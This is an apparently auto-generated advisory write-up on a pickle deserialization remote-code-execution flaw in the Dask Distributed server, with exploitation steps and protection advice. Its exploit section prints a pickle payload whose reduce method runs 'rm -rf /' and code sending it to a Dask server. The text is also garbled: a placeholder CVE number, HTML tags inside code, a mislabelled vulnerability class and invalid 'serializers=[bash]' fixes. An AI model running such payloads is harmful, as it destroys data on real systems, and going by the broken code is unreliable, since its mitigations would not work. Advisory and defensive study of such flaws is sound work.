How the Mentioned CVE Works:
CVE-2025-XXXX is a critical vulnerability in Dask versions <=2024.8.2, specifically affecting the Dask Distributed Server. The issue arises due to the insecure use of pickle serialization. Attackers can exploit this by crafting malicious objects on the client side, which are then serialized and sent to the server. Upon deserialization, these objects execute arbitrary commands on the server, potentially granting the attacker full control over the Dask server. This vulnerability is particularly dangerous because it allows remote code execution without requiring authentication, making it a prime target for exploitation in distributed computing environments.
DailyCVE Form:
Platform: Dask
Version: <=2024.8.2
Vulnerability: Command Injection
Severity: Critical
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Crafting Malicious Payloads:
Attackers can create malicious objects using Python’s `pickle` module.
Example:
import pickle
import os
class Exploit:
def <strong>reduce</strong>(self):
return (os.system, ('rm -rf /',))
payload = pickle.dumps(Exploit())
2. Sending Payload to Dask Server:
The payload is sent to the Dask Distributed Server via client-side serialization.
Example:
from dask.distributed import Client
client = Client('tcp://dask-server-address:8786')
client.submit(pickle.loads, payload)
3. Triggering Deserialization:
The server deserializes the payload, executing the embedded command.
Protection:
1. Update Dask:
Upgrade to a version >2024.8.2, where the vulnerability is patched.
pip install --upgrade dask
2. Disable Pickle Serialization:
Use safer serialization methods like `msgpack` or `json`.
Example:
from dask.distributed import Client
import msgpack
client = Client('tcp://dask-server-address:8786', serializers=[bash])
3. Input Validation:
Implement strict input validation to reject suspicious payloads.
4. Network Segmentation:
Restrict access to the Dask server to trusted IPs only.
5. Monitoring and Logging:
Enable detailed logging to detect and respond to exploitation attempts.
Analytics:
- Exploit Prevalence: High, due to ease of exploitation.
- Attack Surface: Distributed computing environments.
- Mitigation Difficulty: Low, with proper updates and configuration.
Commands:
- Check Dask version:
pip show dask
- Patch Dask:
pip install dask==2024.8.3
- Restart Dask server after update:
dask-scheduler --port 8786
Code Snippets:
- Safe serialization example:
from dask.distributed import Client import json client = Client('tcp://dask-server-address:8786', serializers=[bash]) - Logging setup:
import logging logging.basicConfig(filename='dask_server.log', level=logging.INFO)
References:
Reported By: https://github.com/advisories/GHSA-xqgj-r6xv-9cw4
Extra Source Hub:
Undercode
